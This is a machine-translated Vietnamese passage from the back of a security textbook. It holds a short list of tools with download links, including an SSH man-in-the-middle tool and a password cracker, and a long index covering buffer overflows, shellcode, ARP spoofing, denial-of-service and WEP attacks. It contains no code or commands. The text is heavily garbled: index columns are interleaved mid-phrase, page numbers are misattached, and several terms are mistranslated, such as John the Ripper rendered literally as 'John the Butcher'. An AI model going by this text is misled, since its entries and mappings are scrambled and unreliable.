Một trình biến đổi mã byte ASCII có thể in được từ Matrix (Jose Ronnick)
http://www.phiral.com
mitm-ssh
Một công cụ SSH man-in-the-middle từ Claes Nyberg
http://www.signedness.org/tools/mitm-ssh.tgz
ffp
Một công cụ tạo dấu vân tay mờ từ Konrad Rieck
http://freeworld.thc.org/thc-ffp
John Kẻ Đồ Tể
Một công cụ bẻ khóa mật khẩu từ Solar Designer
http://www.openwall.com/john
454 0x800
Machine Translated by Google
MỤC LỤC
Biểu tượng & Số & (dấu
&) cho toán tử
địa chỉ, 45 cho tiến trình
nền, 347 < > (dấu ngoặc nhọn),
cho tệp include, 91 = (toán tử gán),
12 *
(dấu sao), cho con trỏ, 43 \
(dấu gạch chéo ngược), cho ký
tự thoát, 180 { } (dấu ngoặc
nhọn), cho tập
lệnh, 8, 9 $ (dấu đô la), và
truy cập tham số
trực tiếp, 180 == (bằng toán tử), 14 !
(dấu chấm than), 14 >
(toán tử lớn hơn), 14 >= (lớn
hơn hoặc bằng toán tử), 14 <
(toán tử nhỏ hơn), 14 <= (nhỏ hơn
hoặc bằng toán tử), 14 != (không
bằng toán tử),
14 ! (không phải toán tử),
14 % (dấu phần trăm), cho tham số định dạng,
48 " (dấu ngoặc kép), cho tệp
include, 91 ; (dấu
chấm phẩy), cho lệnh end, 8 $1
biến, 31 S-box
8x8, 435 Sơ đồ địa chỉ 32 bit, 22 Sơ
đồ địa
chỉ 64 bit, 22 404 Phản hồi HTTP, 213
Thanh ghi tích lũy (EAX), 24, 346 đưa về 0, 368 cờ
ACK, 223 bộ lọc
cho, 260 đánh hơi
chủ động, 239–251
lệnh thêm , 293 Giao thức phân
giải địa chỉ (ARP), 219,
240 đầu độc bộ đệm, 240 chuyển hướng, 240 tin nhắn
trả lời,
219 giả mạo, 243 tin nhắn
yêu cầu, 219 địa chỉ
của toán tử, 45, 47, 98
chương trình
addressof.c, 46 chương trình
addressof2.c, 47 tệp addr_struct.c, 348–
349 tài khoản quản trị viên, 88.
Xem thêm root, người dùng AES
(Rijndael), 398 AF_INET, cấu trúc
địa chỉ ổ cắm cho, 201–
202 aircrack, 448–449
AirSnort, 439
thuật toán, hiệu quả của,
398 thời gian chạy thuật toán, 397–398 dấu thăng
(&) cho toán tử
địa chỉ, 45 cho quy
trình nền, 347 tấn
công khuếch đại, 257 phép toán bit
AND, 366 và lệnh, 293 toán tử AND, 14–
15
< > (dấu ngoặc
nhọn), cho tệp include, 91 lớp ứng
dụng (OSI), 196 vectơ đối số, 59 toán
tử số học, 12–
14
MỘT
hàm accept() , 199, 206 chế độ
truy cập cho tệp, 84
Machine Translated by Google
Số lượng Xem Giao thức phân giải địa chỉ (ARP) hàm
Thanh ghi Con trỏ cơ sở (EBP), 24, 31, 70,
73, 344–
345 lưu
arp_cmdline() , 246 Cấu trúc ARPhdr ,
245–
246 Hàm arp_initdata() , 246
các giá trị hiện tại, 342
Vỏ BASH, 133–
150, 332
Hàm arp_send() , 249 Chương trình
thay thế lệnh, 254 điều tra với, 380–
arpspoof.c, 249–250, 408 Hàm
384 vòng lặp for, 141–
142 tập lệnh để
arp_validatedata() , 246 Hàm arp_verbose() ,
gửi phản hồi ARP, 243–
244
246 Mảng trong C, 38 Biểu đạt nghệ thuật,
Lập trình dưới dạng, 2 ASCII, 33–
34
BB84, 396 chương trình máy tính bc , 30 vẻ đẹp,
trong toán
Hàm chuyển đổi sang
học, 3 Bennett, Charles, 396 Bộ
số nguyên, 59 cho địa chỉ IP, Chuyển đổi, 203 ASLR,
lọc gói Berkeley (BPF), 259 thứ tự
379–
380, 385, 388
byte big-endian, 202 ký hiệu
Chương trình aslr_demo.c, 380 Chương
trình
aslr_execl.c, 389 Chương trình
aslr_execl_exploit.c, 390–
391
big-oh, 398 lệnh gọi bind, cấu trúc host_addr
cho, 205 hàm bind() , 199 chương
trình bind_port.c, 303–
304
chương trình bind_port.s, 306–
307 chương trình
Trình biên dịch, 7 Ngôn ngữ lắp ráp,
bind_shell.s, 312–
314
7, 22, 25–
37
chương trình bind_shell1.s, 308 /bin/sh,
359 lệnh gọi hệ thống để thực thi, 295
nghịch lý sinh nhật, 437 phép toán bitwise,
84 chương trình bitwise.c, 84–
85 mã
hóa khối, 398
Lệnh kiểm tra GDB để hiển thị hướng dẫn,
30 cấu trúc if-thenelse trong, 32 lệnh gọi hệ thống
Blowfish, 398 Bluesmack, 256 giao
thức Bluetooth, 256 LiveCD có
thể khởi động. Xem LiveCD
Linux trong, 284–
286 cho shellcode,
282–
286 cú pháp, 22 toán tử
gán (=), 12
dấu hoa thị (*), cho con trỏ, 43
mã hóa bất đối xứng, 400–
405 ký
hiệu tiệm cận, 398 cú pháp AT&T cho
ngôn ngữ lắp ráp, 22 hàm
botnet, 258
atoi() , 59 chương trình
bot, 258
auth_overflow.c,
BPF (Bộ lọc gói Berkeley), 259
122–
125 chương trình
Brassard, Gilles, 396
auth_overflow2.c, 126–
133
điểm dừng, 24, 27, 39, 342, 343 địa
chỉ phát sóng, cho các cuộc tấn công khuếch
đại, 257 các
B
cuộc tấn công bằng vũ lực, 436–
437
đầy đủ, 422–
423
dấu gạch chéo ngược (\), cho ký
tự thoát, 180
dấu vết ngược
của các cuộc gọi hàm lồng nhau,
66 của ngăn xếp, 40,
61, 274 băng thông, ping tràn
ngập để tiêu thụ, 257
Thanh ghi cơ sở (EBX), 24, 344–
345 lưu
các giá trị hiện tại, 342
đoạn bss, 69, 77 cho
lưu trữ biến C, lệnh bt 75 ,
40 tràn bộ đệm, 119–
133, 251
lệnh thay thế và Perl để
tạo, 134–
135 trong các
phân đoạn bộ nhớ, 150–
167 notesearch.c
chương trình dễ bị tổn thương, 137–
142 lỗ hổng dựa trên
ngăn xếp, 122–
133
456 MỤC LỤC
Machine Translated by Google
tràn bộ đệm, 119 bộ đệm,
hàm close() , mô tả tệp cho, 82 cổng đóng, phản hồi
38 hạn chế
với các gói SYN/ACK, 268 hoạt động cmp , 26, 32,
chương trình, 363–
376 hàm buildarp() , 246
byte, 21 bộ đếm byte, tăng dần,
310, 311 đoạn
mã, 69
177 thứ
tự byte của kiến trúc, 30 chuyển đổi, 238
Sâu CodeRed, 117, 319 dòng lệnh,
Perl để thực thi lệnh, 133
dấu nhắc lệnh, chỉ báo công việc nền, 332 đối số
C
dòng lệnh, 58–
61 chương
trình commandline.c, 58–
59 lệnh chạy đơn lẻ
Trình biên dịch C, 19
miễn phí,
20 kiểu dữ liệu biến và 58
Ngôn ngữ lập trình C địa chỉ của
với tư cách là người dùng root, 88 thay thế
và Perl để tạo
tràn bộ đệm, 134–
135 bình luận, trong
chương trình C, 19 toán tử so sánh, 14–
15 mã
toán tử, 45 phép toán số học
viết tắt, 13 so với ngôn ngữ lắp ráp, 282 phép
toán Boolean, 15 chú thích, 19 cấu
trúc điều khiển, 309–314 truy
cập tệp trong, 81–
86 hàm trong, 16 phân đoạn bộ nhớ, 75–
biên dịch, 20 trình biên dịch, 7
sức mạnh tính toán, so với không gian
lưu trữ, 424 bảo mật tính toán, 396 xác
suất có điều kiện, 114
câu lệnh có
điều kiện, biến trong, 14 nhầm lẫn, 399 hàm
77 trách nhiệm của lập
trình viên đối với
tính toàn vẹn dữ liệu, 119 lệnh
gọi , 287
connect() ,
199, 213, 314 mã shell connect-back,
314–318 chương trình connectbackshell.s, 314–
315 kết nối, ICMP
để kiểm tra, 221
hằng số, 12 hàm tạo
null byte từ, 290 hàm gọi
lại, 235 trả về đầu dòng, để
kết thúc dòng trong HTTP, 209 hàm caught_packet() ,
(.ctors), phần bảng cho, 184–
188 chương
trình convert.c, 59–60 Đạo luật Bản quyền,
118 bản dump lõi, 289 Bộ đếm (ECX) đăng
236, 237 CD có
ký, 24
sách. Xem hướng dẫn CDQ LiveCD , 302 kiểu dữ
liệu char , 12, 43 mảng ký tự (C),
38 nhị phân thực thi
char_array , 38 chương trình
char_array.c, 38 hàm
check_authentication() , 122, 125 khung
ngăn xếp cho, 128–
129 tiến trình
con, tạo shell gốc với, 346 lệnh chmod ,
88 lệnh
chown , 90 lệnh chsh , 89 hàm
cleanup() , 184 client_addr_ptr, 348, 349 và
crash, 353
biện pháp đối phó
để phát hiện tấn công, 320 hạn chế
bộ đệm, 363–
376 tăng cường, 376 tệp
nhật ký và, 334–
336
ngăn xếp không thể thực thi,
376–379 bỏ qua rõ ràng, 336–
347 daemon hệ
thống, 321–328 công cụ, 328–
333 cracker,
3
MỤC LỤC 457
Machine Translated by Google
sự cố, 61, 128
từ tràn bộ đệm, 120 và
client_addr_ptr, 353 do tấn
biến ngăn xếp, 76
biến, 12 hàm
decode_ethernet() , 237 hàm
công DoS, 251 từ bộ
decode_ip() , 237 tệp
nhớ ngoài giới hạn
decode_sniff.c, 235–
239 hàm
địa chỉ, 60
Hàm CRC32 (kiểm tra tổng dư thừa tuần hoàn),
434
decode_tcp() , 236, 237 mất tính
nhất quán, 399 cổng
mặc định, chuyển hướng ARP và, 241 Từ
chối dịch
hoạt động tội phạm, 451–
452
hàm crypt() , 153, 418 giá trị
muối, 423 phân
vụ (DoS), 251–
258 các cuộc tấn công
khuếch đại, 257 tấn công DoS
tích mật mã, 393
phân tán, 258 tấn công ping, 257
chương trình crypt_crack.c, 420
tấn công ping of
mật mã, 393
death, 256 tấn công
luật hạn chế, 3 mật
mã học, 393 chương
trình crypt_test.c, 418 .ctors
(hàm tạo), phần bảng cho, 184–188 dấu
ngoặc nhọn
({ }), cho tập lệnh, 8, 9 biến
current_time , 97
SYN, 252–
256 giọt nước mắt,
256 toán tử hủy
tham chiếu, 47 tải địa chỉ
của, 297 DES, 398 thanh ghi
chỉ mục
đích (EDI), 24 hàm hủy (.dtors) hiển thị
nội dung, 185 ghi đè
trình xử lý tín hiệu tùy
phần bằng địa chỉ của
chỉnh, 322 lệnh cắt , 143–
144 hàm
shellcode đã tiêm, 190
kiểm tra tổng kiểm tra dự
phòng tuần hoàn (CRC32), 434
Cynosure, 118
phần bảng cho, 184–188 Deutsch,
Peter, 2 tấn công từ
điển, 419–
422 bảng từ điển, giải
mã dựa trên IV, 438 khuếch tán,
D
399 Đạo luật bản
quyền thiên niên
hàm daemon() , 321 daemon,
321
kỷ kỹ thuật số (DCMA) năm 1998, 3 truy
cập tham số trực tiếp,
Thanh ghi dữ liệu (EDX), 24, 361
tính toàn vẹn dữ liệu, trách nhiệm của lập
trình viên đối
với, 119 phân đoạn
dữ liệu, 69 đối với lưu trữ
180–182 thư mục, để bao gồm các tệp, 91
Dissembler, 454 tấn công DoS phân
tán, 258 phép chia,
phần còn lại sau, 12 DNS (Dịch vụ
tên miền), 210 định danh dấu đô
biến C, 75 kiểu dữ liệu, của
la ($), và truy cập tham số trực tiếp,
các biến, 12 bộ đệm tệp dữ
180 DoS. Xem ký hiệu số chấm từ chối dịch
liệu , 151–
152 ổ cắm dữ
liệu, 198 lớp liên kết dữ liệu (OSI), 196, 197
vụ (DoS), 203 từ kép
(DWORD), 29
cho trình duyệt web, 217, 218–
219
chương trình datatype_sizes.c, 42–
43
DCMA (Đạo luật bản quyền thiên niên kỷ
kỹ thuật số) năm 1998,
chuyển đổi sang quadword, 302
drop_privs.c chương trình, 300
3 trình gỡ lỗi, 23–
chương trình dsniff , 226, 249,
24 khai báo
454 .dtors (hàm hủy)
hàm hủy, 184 hàm có kiểu dữ
hiển thị nội dung, 185 ghi
liệu là giá trị trả về, 16–
17 biến heap,
đè phần bằng địa chỉ của shellcode đã
76
tiêm, 190
phần bảng cho, 184–188
458 MỤC LỤC
Machine Translated by Google
chương trình dtors_sample.c, 184 hàm
Đăng ký ESI (Source Index), 24
dump() , 204 lệnh gọi hệ
Đăng ký ESP (Stack Pointer), 24, 33, 70, 73
thống dup2 , 307 DWORD
(từ kép), 29
chuyển đổi sang quadword, 302
shellcode và, 367 tệp /
etc/passwd, 89, 153 tệp /etc/
services, cổng mặc định trong, 207–208
E
Cấu trúc ETHERhdr , 245–
246
Thanh ghi EAX (Bộ tích lũy), 24, 312, 346
đưa về 0,
368 Thanh ghi
EBP (Con trỏ cơ sở), 24, 31, 70, 73, 344–
345 lưu
giá trị hiện tại, 342
Thanh ghi EBX (Cơ sở), 24, 312, 344–
345 lưu giá trị hiện tại, 342 Hàm ec_malloc() , 91
Thanh ghi ECX (Bộ đếm), 24 Thanh
ghi EDI (Chỉ mục đích), 24 Thanh
ghi EDX (Dữ liệu), 24, 361 Thanh ghi
EFLAGS, 25 Thanh ghi EIP. Xem tính thanh lịch của
sổ đăng ký Con trỏ lệnh (EIP), 2, 6
đóng gói, 196 tệp
encoded_sockreuserestore_dbg.s, 360–
361 mã hóa,
393 không đối
xứng, 400–
405 kích
thước khóa tối đa cho
phép trong phần mềm được xuất, 394 đối xứng, 398–
400 không
dây 802.11b, 433–
436
Ethernet, 218, 230 tiêu
đề cho, 230
chiều dài của,
231 thuật toán Euclid, 400–401 mở
rộng, 401–402 hàm
totient của Euler, 400, 403 lệnh kiểm tra
(GDB) để tra cứu bảng ASCII,
34–35 để hiển thị các lệnh đã dịch
ngược, 30 kích thước đơn vị
hiển thị cho, 28–29
cho bộ nhớ, 27–
28 dấu chấm than
(!), 14 hàm execl() ,
149, 389, 390 hàm execle() ,
149 chương trình exec_shell.c, 296
chương trình exec_shell.s,
297 tệp nhị phân thực thi, 21
tạo từ mã lắp ráp, 286 quyền
thực thi, 87 luồng thực thi,
kiểm soát, 118 thực thi mã tùy ý, 118 hàm
execve() , 295–
296, 388–
389
lệnh env , 142 biến môi
trường, 142 hiển thị vị trí, 146 để khai
thác, 148 PATH, 172 đặt
shellcode vào, 188 ngẫu
nhiên hóa ngăn xếp
cấu trúc cho, 298 tấn
công vũ phu cạn kiệt, 422–423 thoát,
tự động
thực thi hàm trên, 184 hàm exit() ,
191, 286 địa chỉ
của, 192 khai thác bộ đệm, 332
chương trình khai
thác, 329 tập lệnh khai
vị trí, 380 để
lưu trữ chuỗi, 378 kỷ
nguyên, 97
toán tử bằng (==), 14 kiểm tra
thác, 328–
333 công cụ khai
thác, 329 khai thác, 115 với
BASH, 133–
150 tràn bộ
đệm, 119–
133 chuỗi
định dạng, 167–193
lỗi, cho malloc(), 79, 80–81 chương trình
errorchecked_heap.c, 80–81 lỗi, lệch một, 116–
117 chuỗi thoát, 48 ký tự thoát,
dấu gạch chéo ngược (\)
cho, 180
truy cập tham số trực tiếp,
180–
182
đọc từ các địa chỉ bộ nhớ tùy ý, 172
MỤC LỤC 459
Machine Translated by Google
khai thác, tiếp tục
chuỗi định dạng, tiếp tục
với các lệnh ghi ngắn, 182–
183 lỗ
hổng, 170–
171 ghi vào các địa
dấu vân tay mờ,
máy chủ 413–
417, cho
SSH, tường lửa 410–
413 và liên
kết cổng
shellcode, 314 sắp
chỉ bộ nhớ tùy ý, 173–
179 kỹ thuật
chung, 118 tràn bộ nhớ
dựa trên heap, 150–155 hàm
xếp theo thứ tự vào trước, ra sau (FILO), 70
chương trình firstprog.c, 19
jackpot() làm mục tiêu, 160–
166 con trỏ
kiểu dữ liệu float , 12, 13, 43
hàm tràn, 156–
167 ghi đè bảng bù trừ
dịch vụ flood, bằng các cuộc tấn công DoS, 251
toàn cục,
luồng thực thi, kiểm soát hoạt động, 26
190–
193
cuộc tấn công
Fluhrer, Mantin và Shamir (FMS), 439–449 chương
trình fms.c, 443–
445
chương trình fmt_strings.c, 48–49
không có tệp nhật ký, chương trình
chương trình fmt_uncommon.c, 168 chương
352–354 exploit_notesearch.c, chương trình 121
trình fmt_vuln.c, 170–
171 hàm fopen() , 419
exploit_notesearch_env.c, thuật toán Euclidian
vòng lặp for, 10–11 với hướng dẫn lắp
mở rộng 149–
ráp, 309–
310 để điền vào bộ
150, 401–
402
đệm, 138
F
lệnh foreground (fg) , 158, 332 giả mạo địa chỉ
lỗi nghiêm trọng, hiển thị, 228 hàm
fatal() , 83, 91 chương trình
fcntl_flags.c, 85–
86 tệp fcntl.h, 84
mạng Feistel, cho
DES, 399 Felten, Edward, 3 lỗi hàng rào,
116 ffp, 454 lệnh fg
(tiền cảnh), 158, 332 hàm
nguồn, 239 hàm fork() , 149, 346 tham
số định dạng, 48 chuỗi định dạng,
167–
193 bộ nhớ cho, 171 cho
hàm printf() , 48–
51 ghi ngắn
cho khai thác, 182–
183
đơn giản hóa khai thác với quyền truy
cập tham số trực tiếp, 180–182 lỗ hổng, 170–
171
fgets() ,
419 tùy chọn độ rộng trường, cho tham số định
dạng, 49 truy cập tệp, trong
C, 81–
86 mô tả tệp, 81 tiêu chuẩn trùng
lặp, 307–309 trong
Unix, 283 phản hồi HTTP Không
tìm thấy tệp, 213 quyền
tệp, 87–
88 Giao thức truyền tệp (FTP),
222 máy chủ, 226
luồng tệp, 81 thứ tự FILO (vào trước, ra sau), 70
bộ lọc, cho các gói tin, 259
quét FIN, 264–
265 sau khi sửa đổi hạt nhân,
268 trước khi
sửa đổi hạt nhân,
267–
268 chương trình find_jmpesp.c, 386
FP (con trỏ khung), 70 hàm
fprintf() , cho thông báo lỗi, 79 tấn
công fraggle, 257
phân mảnh gói tin, 221
IPv6, 256 con trỏ khung (FP), 70
hàm free() ,
77, 79, 152 tự do ngôn luận, 4
FTP (Giao thức truyền tệp), 222 máy
chủ, 226 chương
trình funcptr_example.c, 100 chức năng, mở
rộng và lỗi,
117 hàm, 16–19 tự động thực thi khi thoát,
184 điểm dừng trong, 24
MỤC LỤC 460
Machine Translated by Google
khai báo là void, 17
hàm gethostbyname() , 210, 211 hàm
để kiểm tra lỗi, 80–
81 thư
getuid() , 89, 92 Glen,
viện của, 19
Peter, 454 glibc,
biến cục bộ cho, 62 bộ
quản lý bộ nhớ heap, 152 bảng bù trừ toàn
nhớ, tham chiếu con trỏ
cục (GOT), ghi đè, 190–193
biến toàn cục, 63, 64,
chuỗi, 228 con trỏ,
100–
101 gọi mà không
75 địa chỉ bộ nhớ, 69 phân
ghi đè, 157 tràn, 156–
167
đoạn bộ nhớ cho, 69 Bộ
sưu tập trình biên dịch GNU
lời mở đầu, 27, 71, 132
(GCC), 20.
lưu các giá trị thanh ghi
Xem thêm trình biên dịch
hiện tại,
gỡ lỗi GDB, truy cập GDB vào mã
nguồn, 26
342 nguyên mẫu,
chương trình objdump , 21, 184,
17 để thao tác chuỗi, 39
dấu vân tay mờ, 413–417
185 Goldberg, Ian,
394 GOT (bảng bù trừ toàn
G
cục), ghi đè, 190–193
game_of_chance.c chương trình, 102–
113, 156–
167
gateway, 241
GCC. Xem GNU Compiler Collection (GCC)
toán tử lớn hơn (>), 14 toán tử
lớn hơn hoặc bằng (>=), 14
ước số chung lớn
nhất (GCD), 401 Hy Lạp, cổ đại, 3 lệnh
grep , 21, 143–
144
để tìm mã hạt nhân gửi các gói
GCD (ước số chung lớn nhất), 401 GDB
đặt lại, 267 Grimes, Mark, 242, 454
debugger, 23–
24
địa chỉ của nhà điều hành,
45 phân tích với, 273–275
nhóm, quyền
tệp cho, 87 Grover, Lov,
399–
400
để kiểm soát quá trình tinywebd
đang chạy, 350–
352
để gỡ lỗi tiến trình con của daemon, 330–331
H
cú pháp tháo rời, 25 hiển thị
Đạo đức tin tặc,
các biến cục bộ trong khung ngăn xếp, 66 lệnh
2 hack, 272–
280 phân
kiểm tra để
tra cứu bảng ASCII, 34–
tích với GDB, 273–
275 thái độ
đối với, 451 và chương
35 để hiển thị các lệnh đã tháo rời, 30
trình biên dịch, 21 chu kỳ đổi
cho bộ nhớ, 27–
28 điều tra lõi
mới, 319 bản chất của, 1–
2
với, 289–
290 điều tra
với, 380–384 lệnh in , 31
nguồn gốc, 2
shellcode
lệnh viết tắt, 28 lệnh stepi , 384
liên kết cổng, 278–
280 như giải quyết
tệp .gdbinit, 25 thanh ghi mục đích
vấn đề, 5 và kiểm soát
chung, 24 lệnh GET (HTTP),
sự cố chương trình, 121
208 hàm getenv() , 146 chương trình
tệp hacking.h, thêm vào, 204 tệp
getenvaddr.c, 147–
148, 172
hacking-network.h, 209–
210, 231, 232, 272–
273 hack, 6
hàm geteuid() , 89
quét nửa
mở, 264 hàm
handle_connection() , 216, 342 điểm dừng
trong hàm, 274–275
hàm handle_shutdown() , 328
MỤC LỤC 461
Machine Translated by Google
địa chỉ phần cứng, 218 bảng tra
cấu trúc if-then-else, 8–9
trong ngôn ngữ lắp ráp, 32
cứu băm, 423–
424 lệnh head , 143–
144
lệnh HEAD (HTTP), 208 heap, 70
cấu trúc in_addr , 203
kết nối địa chỉ IP trong, 315–
316 hoạt
hàm phân bổ cho, 75 tràn bộ đệm trong,
động inc , 25, 36 tệp
150–
155
tăng trưởng của, 75 phân bổ bộ nhớ,
bao gồm, cho các hàm, 91 kết nối
77 khai báo biến, 76 không gian được
đến
phân bổ cho, 77
Hàm C chấp nhận, 199 đang
chương trình heap_example.c,
lắng nghe, 316
77–
80
tăng giá trị biến, 13–14 hàm inet_aton() , 203
nguyên lý bất
hàm inet_ntoa() , 203, 206 sổ
định Heisenberg, 395 “Hello,
đăng ký thông tin lệnh eip, 28 lý thuyết
world!”, chương trình in, 19 chương trình
thông tin, 394–396 thu thập vectơ khởi tạo
helloworld1.s, 287–
288 chương trình helloworld3.s,
(IV), 449 cho WEP, 434, 437, 440 bảng
294 chương trình helloworld.asm, 285–
286
từ điển giải mã dựa trên, 438 đầu
helloworld.c, viết lại bằng hợp ngữ, 285
vào, kiểm tra độ
Herfurt, Martin, 256 dump thập lục
dài hoặc hạn chế, 120 kích
phân, của shellcode chuẩn, 368 ký hiệu thập
lục phân, 21 ngôn ngữ cấp cao, chuyển đổi sang ngôn
ngữ máy, 7 Holtmann, Marcel,
256 host dấu vân tay, cho SSH, 410–
413 khóa
máy chủ, lấy từ máy
thước đầu vào, cho thuật toán, 397 xác
thực đầu vào, 365
chương trình input.c, 50 hàm
input_name() , 156 sổ
đăng ký Con trỏ lệnh (EIP), 25, 27, 40,
chủ, 414 cấu trúc host_addr , cho
43, 69, 73 lệnh lắp ráp và,
lệnh gọi bind, 205 cấu trúc hostent , 210–211
287 sự cố từ nỗ lực khôi
tệp host_lookup.c, 211–
212
hàm htonl() , 202 hàm htons() ,
203, 205 HTTP (Giao thức truyền siêu văn bản),
phục, 133 kiểm tra bộ nhớ để tìm,
28 như con trỏ, 43 thực thi chương trình và, 69
shellcode và, 367 kiểu
197, 207–
208, 222 mã hóa lai, 406–
417 Giao thức
dữ liệu int , 12 lệnh int , 285 số nguyên,
truyền siêu văn bản (HTTP), 197, 207–
208, 222
hàm chuyển đổi ASCII sang, 59 cú pháp Intel cho
ngôn ngữ lắp ráp, 22, 23, 25 Giao
thức tin nhắn điều
khiển Internet (ICMP), 220–221 các
cuộc tấn công khuếch đại
bằng gói tin, 257 tin
nhắn phản hồi, 256 Yêu cầu
phản hồi, 221 Tiêu đề Internet Datagram, 232
Internet Explorer,
lỗ hổng VML ngày thứ 0, 119 Máy chủ thông tin
Internet
TÔI
ICMP. Xem lệnh id của Giao thức tin nhắn
điều khiển Internet
(ICMP) , 88 quét
nhàn rỗi, 265–266 IDS (hệ
thống phát hiện xâm nhập), 4, 354 câu
lệnh
if , trong BASH, 381 lệnh
ifconfig , 316 để biết cài
đặt chế độ hỗn tạp, 224
462 MỤC LỤC
(MicrosoftIIS), 117
Machine Translated by Google
Giao thức Internet (IP), 220
địa chỉ, 197, 220
chuyển đổi, 203
lớp liên kết dữ liệu và, 218–219
trong nhật
ký, 348 chuyển hướng,
438–
439 giả mạo đã ghi nhật ký, 348–
352
ID, có thể dự đoán, 265
cấu trúc, 231
ngắt 0x80, 285 hệ
thống phát hiện xâm nhập (IDS), 4, 354
hệ
thống ngăn chặn xâm nhập
(IPS), 354
L
LaMacchia, David, 118
Lỗ hổng LaMacchia, 117–118
Laurie, Adam, 256
Con trỏ LB (cơ sở cục bộ), lệnh
70 lea (Tải địa chỉ hiệu dụng), 35,
296 byte ít quan trọng
nhất, 174, 178 lệnh leave , 132 toán
tử nhỏ hơn (<), 14 toán tử
nhỏ hơn hoặc bằng (<=), 14
libc, trả về, 376–377 hàm libc, tìm vị trí, 377–
378 thư viện libnet (C), 244 tài
liệu hướng dẫn về hàm, 248–
249 phát
hành, 254
sự xâm nhập
tệp nhật ký và phát hiện, 334–
336 bỏ
qua rõ ràng, 336–
347
cấu trúc, 263 hàm
libnet_build_arp() , 248–249 hàm
IP. Xem Giao thức Internet (IP)
IPS (ngăn chặn xâm nhập
hệ thống), 354
lệnh iptables, 407 gói tin
IPv6, phân mảnh, 256 IV. Xem vectơ
khởi tạo (IV)
libnet_build_ethernet() , 248 hàm
libnet_close_link_interface() , 249 chương
trình libnet-config, 254 hàm
libnet_destroy_packet() , 249 hàm
J
libnet_get_hwaddr() , 251 hàm
hàm jackpot() , như mục tiêu khai thác,
160–
166
libnet_get_ipaddr() , 251 hàm
libnet_get_prand() , hàm 252
hoạt động jle , 32, 310
libnet_host_lookup() , hàm 251
lệnh jmp esp , 385 địa chỉ
libnet_init_packet() , hàm 248
dự đoán được cho, 388
libnet_open_link_interface()
lệnh jmp ngắn , lệnh 292
chức năng, 248
jobs , 332
John the Ripper, 422, 454 lần
nhảy trong ngôn ngữ lắp ráp, 26 điều
hàm libnet_seed_prand() , 252 libpcap
sniffer, 228–
230, 235, 260 thư viện
kiện, 310 không
điều kiện, 36
tài liệu, 251 hàm, 19
môi trường Linux,
19 khởi động từ CD, 4 ngăn
K
xếp không thể thực
Thuật toán lập lịch khóa (KSA), 435,
440–
442 luồng
khóa, 398 tái sử
dụng, 437–
438
lệnh hủy , 323, 324 kiến
thức và đạo đức, 4 tệp
thi, 376 lệnh gọi hệ thống
trong assembly, 284–286 linux-gate bật
ra, 384–388
lệnh nhảy thực thi tới,
386 tệp bao gồm linux/
net.h, 304–
305 hàm listen() , 199, 206
known_hosts , 410
thứ tự byte little-endian, 29,
KSA (Thuật toán lập lịch khóa), 435,
93, 316
440–
442
MỤC LỤC 463
Machine Translated by Google
LiveCD, 4, 19
tệp mark_break.s, 342–
343 tệp
John Kẻ Đồ Tể, 422
mark_restore.s, 345 tệp mark.s,
Kẻ thù, 242 /
339 toán học, vẻ đẹp
usr/src/mitm-ssh, 407
trong, 3 Maxwell, James, 321 Địa
Tải lệnh Địa chỉ hiệu quả
(lea), 35, 296
chỉ kiểm soát truy cập
phương tiện (MAC), 218 hàm memcpy() ,
139 bộ nhớ, 21–22
con trỏ cơ sở cục bộ (LB), 70
biến cục bộ, 62 hiển
thị trong khung ngăn xếp, 66 địa
địa chỉ ký hiệu thập lục phân
cho, 21 thứ tự của,
75 đọc từ
chỉ bộ nhớ, 69 bộ nhớ
tùy ý, 172 ghi vào tùy ý, 173–
179 phân
được lưu cho, 130 hàm
localtime_r() , 97 tệp nhật
bổ cho con trỏ
ký khai
void, 57 hỏng, 118 hiệu quả, so với
thác mà không có, 352–
354 và phát
thời gian mã hóa, 6 cho chuỗi định
hiện xâm nhập, 334–
336 logic, dưới
dạng, 171 trình gỡ lỗi GDB để kiểm tra,
dạng nghệ thuật, 2 từ
27–28 hướng dẫn để
khóa dài , 42 địa
thiết lập, 27 cho các biến cục bộ, 130 dự
chỉ vòng lặp, 217, 317–318 tệp
đoán địa chỉ, 147 phân đoạn,
loopback_shell_restore.s, 346–
347 tệp
69–
81, 285 phân đoạn, 60 tràn bộ đệm trong, 150–
loopback_shell.s, 318 vòng
167 trong C, 75–
77 cho các biến,
lặp cho,
119 vi phạm, 60 memory_segments.c
10–11 while/
chương trình, 75–
77 hàm
until, 9–
10 hàm
memset() , 138 Microsoft, máy chủ
lseek() , 95 LSFR (mã
web IIS, 117 câu
lạc bộ mô hình đường sắt MIT, 2 tấn
hóa luồng), 398
công MitM (manin-the-middle), 406–
410
Tôi
gói mitm-ssh,
Địa chỉ MAC (Kiểm soát truy cập
phương tiện), 218, 230
ngôn ngữ máy, 7 cấu
407, 454 giảm modulo, 12 đạo đức và kiến thức, 4
lệnh mov , 25, 33, 285 biến
thể, 292
trúc điều khiển, 309
chuyển đổi hợp ngữ sang, 288
xem hàm main() , 21 hàm main() ,
19 truy cập tham số
dòng lệnh vào, 58 phân tách,
27 xem mã máy
cho, 21 hàm
malloc() , 75, 76, 77, 79 kiểm
tra lỗi cho, 80–81
N
trang người đàn ông
đối với arpspoof, 249
trình biên dịch nasm , 286, 288, 454
đối với daemon(),
Nathan, Jeff, 242, 454
321 đối với exec(),
chương trình nc,
388 đối với libnet, 248,
279 công cụ ndisasm,
251 đối với write(),
283 tấn công trung gian (MitM), 406–410
464 MỤC LỤC
%n tham số định dạng, 48, 168–
169, 173
đối với ASCII, 33–
34
288 số âm, 42
Kẻ thù, 242–248, 454
Machine Translated by Google
hàm nemesis_arp() , 245 tệp
nemesis-arp.c, 244–
245 tệp
socket, 198–217
chuyển đổi địa chỉ, 203 địa
nemesis.h, 245–
246 tệp
chỉ, 200–
202 chức năng,
nemesis-proto_arp.c, 246–248 lệnh gọi
199–200 thứ tự byte
hàm lồng nhau, 62 chương
mạng, 202–203 ví dụ máy chủ, 203–
207
trình netcat, 279, 309, 316, 332 tệp
máy chủ tinyweb, 213–
217 máy
netdb.h, 210 tệp
khách web, 207–213
netinet/in.h, 201–202 chương
trình netstat, 309
Netwide Assembler (NASM), 454 thứ tự
byte mạng, 202–
203, 316 lớp mạng
Đánh cắp TCP/IP, 258–
263
RST chiếm đoạt, 259–263 ký tự
xuống dòng, để chấm dứt dòng HTTP, 209
(OSI), 196, 197
cho trình duyệt web, 217, 220–
221
đánh hơi mạng, 224–251, 393 đánh hơi chủ
động, 239–251 lớp giải mã, 230–
Newsham, Tim, 436–437 lệnh
nexti (lệnh tiếp theo), 31
NFS (sàng lọc trường số), lệnh 404
239 trình đánh hơi libpcap, 228–
nm , 159, 184, 185 nmap (công cụ
